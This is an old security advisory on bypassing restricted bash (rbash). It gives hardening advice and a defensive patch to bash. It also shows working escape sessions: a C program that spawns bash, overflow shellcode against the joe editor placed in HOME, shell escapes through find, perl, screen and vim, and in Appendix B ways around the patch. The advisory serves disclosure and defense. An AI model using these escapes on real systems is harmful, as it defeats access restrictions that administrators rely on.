BugzPL ADVISORY #1 - Bypassing restricted bash. bash-2 gives us the option to use a shell in restricted mode. Includes a patch to bash to eliminate most of the described attacks.
47bb68c6308df5ed6fe19a7497f029c4b854f395cc92453841f8d72aa441b418
0x15.0x05.Y2K
-------------------------------------
BugzPL ADVISORY #1, final version
-------------------------------------
Bypassing restricted bash [ for fun and profit ;> ]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
I. Introduction
~~~~~~~~~~~~~~~
bash-2 gives us a possibility to use a shell in restricted mode.
This mode can be initiated using several methods (bash2 --restricted, bash2 -r
or by changing the name of bash to rbash). What do we obtain? According
to the manual the following commands are disallowed or not performed:
- changing directories with cd,
- setting or unsetting the values of: SHELL, PATH, ENV and BASH_ENV,
- specifying command names containing "/",
- specifying command names starting with "./",
- using the "exec" built-in command to replace the shell with another command,
- redirecting output using the >, >|, <>, >&, &>, and >> redirection operators,
- and a few more, but less interesting for us ;>
Unfortunately bash2 only looks like providing some real restrictions.
There are many ways of going round them. BugzPL strongly advises you NOT TO
consider rbash as a secure solution. It gives you only an illusion of security
by not providing what it is intended to provide.
In Appendix A you can find a patch prepared by our group. It eliminates
most of the possible attacks presented below. However, it's not a complete
solution to the rbash problem, which we will prove in Appendix B :>
II. Going round the restrictions:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-----------------------------------
1. ERRORS IN RBASH'S CONFIGURATION:
-----------------------------------
When setting up rbash for a given user ("test" in this example)
the entry in the /etc/passwd file should be as follows:
test:x:502:502::/home/test:/usr/rbin/rbash
So if no further action is taken, the only thing this user has to do to get
a regular shell, is to simply run it:
[test@localhost test]$ pwd
/home/test
[test@localhost test]$ cd /
bash2: cd: restricted
[test@localhost test]$ pwd
/home/test
[test@localhost test]$ bash
[test@localhost test]$ cd /
[test@localhost /]$ pwd
/
[test@localhost /]$ _
So the BASIC thing every admin should do is:
- to create a separate directory with commands (or commands' links)
a restricted user can execute
- and to set the PATH environmental variable to this directory.
The restricted user can not be allowed to run programs in his home directory
("." (dot) in PATH). Otherwise a malicious user would be able to put a copy
of a compiled bash with ftp and to run it or to run his own simple proggy:
[test@localhost test]$ cat blah.c
#include <stdio.h>
main()
{
execl("/bin/bash", "/bin/bash", NULL);
return(0);
}
[test@localhost test]$ gcc blah.c
[test@localhost test]$ cd /
rbash: cd: restricted
[test@localhost test]$ pwd
/home/test
[test@localhost test]$ a.out
[test@localhost test]$ cd /
[test@localhost /]$
[test@localhost test]$ pwd
/
[test@localhost test]$ _
As we can see, the restrictions are gone. Summing this up, .bash_profile
should contain only the path to the dedicated directory:
export PATH=/usr/rbin
You should also set the immutable attribute (on ext2fs) to all the files
used by the shell:
bash# chattr +i .bash_profile .bash_logout .bashrc etc.
-----------------------
2. BUGS IN OTHER TOOLS:
-----------------------
Even assuming a correct configuration of rbash there are still many ways
to get restriction-free. For example you can use an overflow in some common
application, forgotten because of "non-suid" status. The possibilities are
numerous, let's just mention some classic ones like joe, pine, BitchX
or ircII. An example using a buffer overflow in joe follows:
[test@localhost test]$ cat home.txt
ë-^v 1ÀFF
°
óN V
Í1ÛØ@ÍèÜÿÿÿ/bin/sh¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ¿¨úÿ
[test@localhost test]$ export HOME=`cat home.txt`
[test@localhost test]$ cd /
rbash: cd: restricted
[test@localhost test]$ pwd
/home/test
[test@localhost test]$ /bin/bash
rbash: /bin/bash: restricted: cannot specify `/' in command names
[test@localhost test]$ joe
bash$ cd /
bash$ pwd
/
bash$ _
As we can see, the restrictions are dropped when we overflow the buffer on
the stack and force the program to execute a shell. We can prevent such
attacks in the same way as the suid overflows, i.e. by using Solar Designer's
kernel patch, StackGuard, StackShield etc.
------------------------
3. PROGRAM FEATURES:
------------------------
Program features are another kind of problem. There's not much we can do.
A few examples of using common programs options follow (there are many more
possibilities, we just mention some):
[test@localhost test]$ cd /
rbash: cd: restricted
[test@localhost test]$ /bin/bash
rbash: /bin/bash: restricted: cannot specify `/' in command names
[test@localhost test]$ pwd
/home/test
[test@localhost test]$ find .bash_history -exec /bin/bash -c /bin/bash \;
#or
[test@localhost test]$ perl -e 'exec "/bin/bash"'
#or
[test@localhost test]$ screen -s "/bin/bash"
[test@localhost test]$ cd /
[test@localhost test]$ pwd
/
[test@localhost /]$ _
Another example: this time no command line parameters. Let's execute
a command inside a program. This one concerns the vi family editors
(ex/vi/vim/view/elvis etc.). The vim example follows:
[test@localhost test]$ cd /
rbash: cd: restricted
[test@localhost test]$ touch .vimrc
[test@localhost test]$ vi .vimrc
set shell=/bin/bash
[test@localhost test]$ vi
:sh
bash$ cd /
bash$ pwd
/
bash$ _
boom... ;>
III. Summary:
~~~~~~~~~~~~~
Restricted bash should not be used as a real protection tool. A satisfactory
solution to the issues presented in the manual above can be provided by lkm.
The patch from Appendix A protects you against most of the attacks described
above (except for the attack based on vi family editors). There are still
ways to get round this patch (see Appendix B). BugzPL decided to give up
further patching of rbash because it was simply pointless.
IV. Authors and greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~
This advisory was created as a result of a discussion carried on BugzPL
forum. It's a collection of solutions to the rbash problem, presented by
(in alphabetic order):
- arkth [arkth@team.com.pl],
- Crashkiller [pawq@blue.profex.com.pl],
- Magda Cien [magdac@k9.team.com.pl],
- R4z0r [smoq@rpg.pl].
Summarised and edited by arkth.
Translated by jerry [jerry@pabis.net.pl]. ( don't be so shy - ar... ;>> )
Greetings to (other members of BugzPL:) Aphazel, Buczer, cinu, jerry,
MIV [ misq co z toba? ], nmz[?] ;>, p3rry, #hackingpl, #phreakpl and so on.
APPENDIX A - Patch:
~~~~~~~~~~~~~~~~~~~
------------- cut here -----------------
diff -Naur bash-2.03/execute_cmd.c bash-new/execute_cmd.c
--- bash-2.03/execute_cmd.c Tue Jan 26 22:23:49 1999
+++ bash-new/execute_cmd.c Fri May 19 02:11:28 2000
@@ -2961,9 +2961,12 @@
pathname = words->word->word;
#if defined (RESTRICTED_SHELL)
- if (restricted && strchr (pathname, '/'))
+ if (((restricted) &&
+ ((strchr (pathname, '/'))
+ || (strchr (command_line, '\\'))
+ || (strchr (command_line, '/')))))
{
- internal_error ("%s: restricted: cannot specify `/' in command names",
+ internal_error ("%s: restricted: cannot specify `/' in command name or parameter",
pathname);
last_command_exit_value = EXECUTION_FAILURE;
return;
diff -Naur bash-2.03/shell.c bash-new/shell.c
--- bash-2.03/shell.c Thu Feb 18 17:42:27 1999
+++ bash-new/shell.c Fri May 19 01:05:46 2000
@@ -1011,6 +1011,7 @@
set_var_read_only ("SHELL");
set_var_read_only ("ENV");
set_var_read_only ("BASH_ENV");
+ set_var_read_only ("HOME");
restricted++;
}
return (restricted);
------------- cut here -----------------
APPENDIX B - Getting round this patch
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
...a few words on getting round our patch.
1.
[test@localhost test]$ export PATH="/bin"
rbash: PATH: readonly variable
[test@localhost test]$ env PATH=/bin
rbash: env: restricted: cannot specify `/' in command names or parameter
[test@localhost test]$ cat blah
/bin
[test@localhost test]$ env PATH=`cat blah` bash
[test@localhost test]$ cd /; pwd
/
[test@localhost /]$ _
2.
[test@localhost test]$ cat blah
/bin/bash
[test@localhost test]$ screen -s `cat blah`
[test@localhost test]$ cd /; pwd
/
[test@localhost /]$ _
3.
[test@localhost test]$ cat blah
shell "/bin/bash"
[test@localhost test]$ screen -c blah
[test@localhost test]$ cd /
[test@localhost /]$ pwd
/
[test@localhost /]$ _
EOF :)